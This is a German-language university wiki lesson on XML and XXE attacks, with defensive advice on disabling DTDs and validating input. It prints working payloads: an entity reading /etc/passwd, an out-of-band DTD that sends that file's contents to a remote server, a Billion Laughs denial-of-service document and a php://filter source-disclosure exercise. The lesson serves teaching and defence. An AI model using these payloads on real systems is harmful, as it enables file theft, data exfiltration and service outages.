Business Continuity Management & Desaster Recovery - XML und XXE

Aus FernFH MediaWiki
Zur Navigation springen Zur Suche springen

XML und XXE

Einleitung

Ok, gleich zwei Abkürzungen in der Kapitelüberschrift, das zeugt nicht nur davon, dass IT Fachleute Abkürzungen lieben, sondern auch davon, dass diese Art des Angriffes einiges an Grundwissen über XML und XXE verlangt. Andererseits wäre die deutsche Überschrift „Angriff über ein Serialisierungsformat“ vermutlich auch nicht als Filmtitel in Frage gekommen. Wir werden uns in dem Kapitel daher ein wenig mit den XML (Extensible Markup Language) Grundlagen und den daraus verbundenen Angriffsmöglichkeiten über XXE (XML External Entities) beschäftigen. XXE entsteht typischerweise dadurch, dass Entwickler nicht wissen, dass der von ihnen verwendete XML-Parser standardmäßig die XXE-Unterstützung aktiviert hat, was besonders häufig bei Java-Anwendungen der Fall ist. Deshalb ist es eine so weit verbreitete Schwachstelle - alle Java-Backends und Web-Apps, die XML verarbeiten, sind von dieser Schwachstelle bedroht, es sei denn, die Entwickler deaktivieren XXE explizit. Andere Sprachen/Plattformen sind ebenfalls betroffen. XXE sind im Grunde genommen Aufforderungen, eine Art Zusatzinformation aus dem System zu laden und manchmal sogar Systembefehle aufzurufen oder eine Art Funktionalität auszuführen, wie z.B. das Versenden von E-Mails (dies hängt davon ab, wie das Zielsystem konfiguriert ist). Die Art und Weise, wie der Angriff funktioniert, ist, dass Angreifer XXE-Zeichenketten in XML-Daten einfügen, die von der Anwendung verarbeitet werden. Die häufigste Auswirkung ist, dass der Angreifer Dateien auf dem Zielsystem lesen kann, aber manchmal können Befehle ausgeführt oder Dateien auf anderen Systemen im internen Netzwerk gelesen werden. Der Weg, um XXE-Injektion im Allgemeinen zu verhindern, besteht darin, XXE für den XML-Parser programmgesteuert zu deaktivieren, was ziemlich einfach zu tun ist. Meine fachliche Meinung ist, dass XXE standardmäßig deaktiviert werden sollte, wenn es nicht ausdrücklich aktiviert ist. Relativ wenige Anwendungen verwenden XXE tatsächlich wie vorgesehen und sollten auf jeden Fall nicht in den von den Nutzern bereitgestellten Daten enthalten sein. Wenn Entwickler dieser Standardpraxis folgen, dann werden wir hoffentlich diesen Schwachstellentyp in der nächsten OWASP Top Ten-Version nicht sehen. Der XXE-Angriff ist ein Angriff auf eine Anwendung, die XML-Inputs aus nicht vertrauenswürdigen Quellen mit einem falsch konfigurierten XML-Parser analysiert. Dies wird normalerweise durch einen falsch konfigurierten XML-Parser verursacht. Dieser Angriff kann zur Offenlegung vertraulicher Daten, Denial-of-Service, serverseitiger Anforderungsfälschung, Port-Scanning aus der Sicht des Rechners, auf dem sich der Parser befindet, und anderen Systemauswirkungen führen. Dieser Artikel erklärt, was externe XML-Entitäten sind und wie sie zum Angriff auf Systeme verwendet werden.

XML

XML ist primär dazu gedacht, Daten in Form einer Textdatei zu speichern, die sowohl von Maschinen als auch von Menschen lesbar sind. XML selbst ist dabei Plattformunabhängig, daher wird es auch oft in Verbindung mit Internet-Anwendungen verwendet. Die erste Version stammt aus dem Jahr 1998[54] und wurde vom W3C (World Wide Web Consortium) entwickelt. Wichtig zu verstehen ist dabei, dass XML eine Metasprache (also eine Art „Sprache über der Sprache“) ist, auf der dann spezifische Sprachen aufsetzen. Die Festlegung der Sprache erfolgt meist durch das XML Schema. Der Text wird in UTF-8 (Universal Character Set Transformation Format 8, Details dazu findet man im RFC3629[55]) kodiert, das wiederum die am häufigsten verwendete Kodierung für Unicode Zeichen ist. UTF-8 deckt sich in den ersten 128 Zeichen auch mit dem bekannten ASCII[56] Standard [1] . Englische Texte ohne Umlaute sind daher in UTF-8 Kodierung nur 1 Byte lang, sobald man jedoch deutsche Umlaute verwendet benötigt man mindestens 2 Byte (beim „€“ Zeichen sogar 3). UTF-8 Kodierung erkennt man beispielweise in URLs wenn Umlaute mittels „%“ Zeichen kodiert werden. So wird aus „www.example.com/Bär“ dann „www.example.com/ B%C3%A4r“. Betrachten wir ein einfaches XML Beispiel[57]:

<?xml version="1.0" encoding="UTF-8"?>
<note>
  <to>Alice</to>
  <from>Bob</from>
  <heading>Erinnerung</heading>
  <body>Bitte nicht vergessen das Passwort zu ändern!</body>
</note>
<?xml version="1.0" encoding="UTF-8"?>

Der Teil nach <?xml nimmt Pseudo-Attribute auf. Davon gibt es genau 3[58]:

  • version="1.0"definiert die Versionsnummer der zugrundeliegenden XML-Spezifikation. Die Angabe ist zwingend erforderlich.
  • encoding="Zeichenkodierung" bestimmt die Kodierung der XML-Datei. Die Angabe ist optional, lässt man sie weg wird in der Regel UTF-8 angenommen.
  • standalone="Wert" Hier gibt es: „yes“ oder „no“. „yes“ wird angenommen, wenn das Dokument keine externe Dokumenttypdefinition (DTD) referenziert, „no“ wenn das Dokument externe Deklarationen verwendet.

Nach dieser Zeile muss ein Elternelement – in unserem Fall <note> vorhanden sein, dass alle weiteren Elemente beinhaltet. Die Elemente selbst bestehen immer aus einem einleitenden Tag <note> und einem schließenden Tag </note> wie Sie das bereits aus HTML kennen. Achten Sie darauf, dass diese Tags Case Sensitive sind, <note> und <Note> sind also aus XML Sicht unterschiedliche Tags. Zwischen den jeweiligen Tags stehen Attribute, denen auch bestimmte Werte zugewiesen werden können, diese schreibt man dann unter Anführungszeichen.

<root>
  <child>
    <subchild>.....</subchild>
  </child>
</root>

Verwendet man eine DTD, dann müssen Elemente in dieser Definition enthalten sein, verwendet man keine DTD, so sind diese frei wählbar. DTDs werden nach direkt nach der XML Deklaration angegeben, die beginnen immer mit „!DOCTYPE“ gefolgt von einem Leerzeichen und dem Dokumenttyp, der in unserem Fall „Studienheft“ lautet.

<?xml version="1.0"?>
<!DOCTYPE Studienheft [
  <!ELEMENT Studienheft (#PCDATA)>
]>
<Gruss>Hallo Studierende!</Gruss>

Bekannte DOCTYPES sind

  • <!DOCTYPE html> für html5
  • <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd%22> für html 4.01 in einer eher strengen Auslegung und beispielsweise der Abweisung von (veralteten) Framesets[59].

Details dazu finden sich in den jeweiligen DTD Dateien der W3C.

Wesentliche Elemente innerhalb der DTD sind:

  • !ELEMENT zur Definition von gültigen Elementen
  • !ENTITY um Zeichen und Zeichenketten zu definieren

So könnte man mit

<!ENTITY sad\_smiley "&#x2639;" > 

einen traurigen Smiley referenzieren. Sie kennen vermutlich noch „&uuml;“ aus Zeiten in denen man HTML noch „programmiert“ hat. Dies ist genau die gleiche Methode. Entities kann man auch verschachteln. Da wir die Entities noch detaillierter benötigen, hier die Definition:

<!ENTITY [%] Name [SYSTEM|PUBLIC] "Wert" [zusätzliche Angaben] >

Bei Entities mit Parameter folgt nach dem Schlüsselwort ein „%“ gefolgt vom Namen der Entity. Dann benötigen wir bei einer nicht öffentlich zugänglichen externen Quelle das Schlüsselwort „SYSTEM“, auf das dann der Dateipfad – hier ist auch eine URL möglich – folgt. Schlussendlich folgt noch der Wert der Entity unter Anführungszeichen, der im Fall einer externen Quelle auch der Dateipfad sein kann.

XML-Parser Der XML-Parser (streng genommen der XML Prozessor) ist dafür zuständig das XML Dokument zu verarbeiten. Bekannte Vertreter sind SAX[60] (Simple API for XML) oder DOM[61] oder natürlich libxml[62].

Diese sehr kompakte Einführung in XML reicht, um XXE Angriffe zu verstehen, denn im Kern geht es um die Einbindung via DTD und der Zulassung des Vorganges von Seiten des XML-Parsers.

Beispiel 1

Sehen wir uns folgendes Beispiel ein wenig genauer an:

<?xml version="1.0"?>
<!DOCTYPE bookstore [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<bookstore>
    <book>
      <title lang="de">&xxe;</title>
      <author>Hacker 1<author>
      <year>2019</year>
   </book>
</bookstore>

Als DTS wird „bookstore“ definiert, das einen Verweis auf die Unix Benutzerdatei zur Verwaltung der Passwörter enthält. Die Ausgabe des Buches könnte dann folgendermaßen aussehen:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/bash
daemon:x:2:2:daemon:/sbin:/bin/bash
lp:x:4:7:lp daemon:/var/spool/lpd:/bin/bash
ftp:x:40:2:ftp account:/usr/local/ftp:/bin/bash
named:x:44:44:Nameserver Daemon:/var/named:/bin/bash
nobody:x:65534:65534:nobody:/var/lib/nobody:/bin/bash
wima:x:502:100::/home/wima:/bin/bash
2019

In diesem Fall hätten wir also über XML die Passwortdatei ausgelesen.

Beispiel 2

Da Ausgaben von XML nicht immer möglich sind, können wir einem ersten Schritt testen ob der angesprochene Server überhaupt externe DTDs zulässt.

<?xml version="1.0"?>
<!DOCTYPE bookstore SYSTEM "http://fernfh.ac.at/attack.dtd">
<bookstore>
    <book>
      <title lang="de">Der Fremde</title>
      <author>Albert Camus</author>
      <year></year>
   </book>
</bookstore>

Wenn der Server nun reagiert weiß man, dass dieser für externe Angriffe verwundbar ist.

Beispiel 3

Aufbauend auf dem Beispiel 2 werden wir nun den Doctype modifizieren und mit Parametern versehen:

<?xml version="1.0"?>
<!DOCTYPE bookstore [
    <!ENTITY % remote SYSTEM "http://fernfh.ac.at/attack.dtd">
    %remote;%int;%trick;
]><bookstore>
    <book>
      <title lang="de">Der Fremde</title>
      <author>Albert Camus</author>
      <year></year>
   </book>
</bookstore>

In der Datei attack.dtd steht nun:

<!ENTITY % payl SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM ‘http://fernfh.ac.at/?p=%payl;’>">

Beim Laden der externen DTD werden die Entitäten in den Doctype mit eingebunden und ausgeführt. Die erste Entity mit dem Namen „remote“ lädt die angegebene Datei „attack.dtd“. Diese wiederum lädt verschachtelt die weiteren beiden Entities. Als „payl“ wird die Datei „/etc/passwd” geladen. Diese wird dann als Text an „int“ übergeben, die nun per Parameter „p” den Inhalt der Datei an den Server fernfh.ac.at überträgt ohne den Inhalt am Client angezeigt zu bekommen.

Schutz vor XXE

Anwendungen sollten XML-Uploads nie aus nicht vertrauenswürdigen Quellenakzeptieren. Viele Webservices haben DTDs aktiviert, diese sollte man ohne konkreten Bedarf dazu deaktivieren. Zur Richtigen Einrichtung der gängigsten XML-Parser empfiehlt sich der Prevention Cheat Sheet der OWASP[63]. Auch SOAP vor Version 1.2 ist anfällig für XXE-Angriffe, wenn XML-Entitäten an das SOAP-Framework übergeben werden. Daher ist als Mindeststandard SOAP 1.2 anzuraten. Durch die Möglichkeit Entitäten zu verschachteln können XXE-Angriffe auch für Denial-of-Service-Angriffe genutzt werden. Ein gutes Beispiel dafür ist der „Billion Laughs“ Angriff[64], der wie folgt aussieht:

<?xml version="1.0"?>
<!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ELEMENT lolz (#PCDATA)>
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

Der Aufruf von lol9 (von „lol – loughing out lound – leitet sich auch der Name ab) ruft 10 Instanzen von lol8 auf, die wiederum je 10 Instanzen von lol7 aufrufen usw. Damit kann die Attacke ca. 3GB Speicher belegen. Für reguläre Anwender ist XEE als Angriffsvektor kaum zu erkennen. Daher müssen IT Verantwortliche (CISOs) und Entwickler zum Thema XXE sensibilisiert und geschult werden. Wenn möglich sollten weniger komplexe Datenformate wie JSON[65] (JavaScript Object Notation) als Alternative zu XML verwendet werden, da JSON im Gegensatz zu XML lediglich Instanzen strukturierter Daten definiert. Serverseitige Eingabevalidierung in Form von Whitelists hilft schadhafte Daten abzuhalten. Mithilfe der XSD-Validierung (XML Schema Definition) kann man Datentypen in XML definieren und validieren, was zusätzliche Sicherheit schafft, wenn man beispielsweise eine Zahl erwartet aber einen String erhält. An der Schnittstelle zum Internet helfen Web Application Firewalls (WAFs) XXE-Angriffe zu erkennen, zu überwachen und zu blockieren. Generell wird das Protokollieren von Web-Servern und die regelmäßige Kontrolle der Log-Files empfohlen.  

Zusammenfassung

In diesem Kapitel haben wir uns mit XML und XXE anhand von praktischen Beispielen befasst. Validierung von XML und die regelmäßige Kontrolle von LOG Dateien helfen hierbei die Sicherheit zu erhöhen.

Übungsbeispiele

Übungsbeispiel 1

Überlegen Sie sich, was folgender Code bewirken wird. Dazu wird es sinnvoll sein, sich die Funktion base64-encode [2] in php anzusehen.

<?xml version="1.0"?>
<!DOCTYPE bookstore [
    <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<bookstore>
   <book>
      <title lang="de">Der Fremde</title>
      <author>Albert Camus</author>
      <year>&xxe;</year>
   </book>
</bookstore>

Übungsbeispiel 2

Laden Sie das Image zur Übung von XML Entities herunter und gehen Sie die Übungen durch. https://pentesterlab.com/exercises/play_xxe Die Übungen des PentesterLab sind generell zu empfehlen, wenn Sie sich mit dem Thema näher auseinandersetzen möchten.

  1. Das Originaldokument ist durchaus lesenswert und findet sich hier als Scan: http://worldpowersystems.com/archives/codes/X3.4-1963/
  2. Auch dazu gibt es eine Online-Variante: https://www.base64encode.org/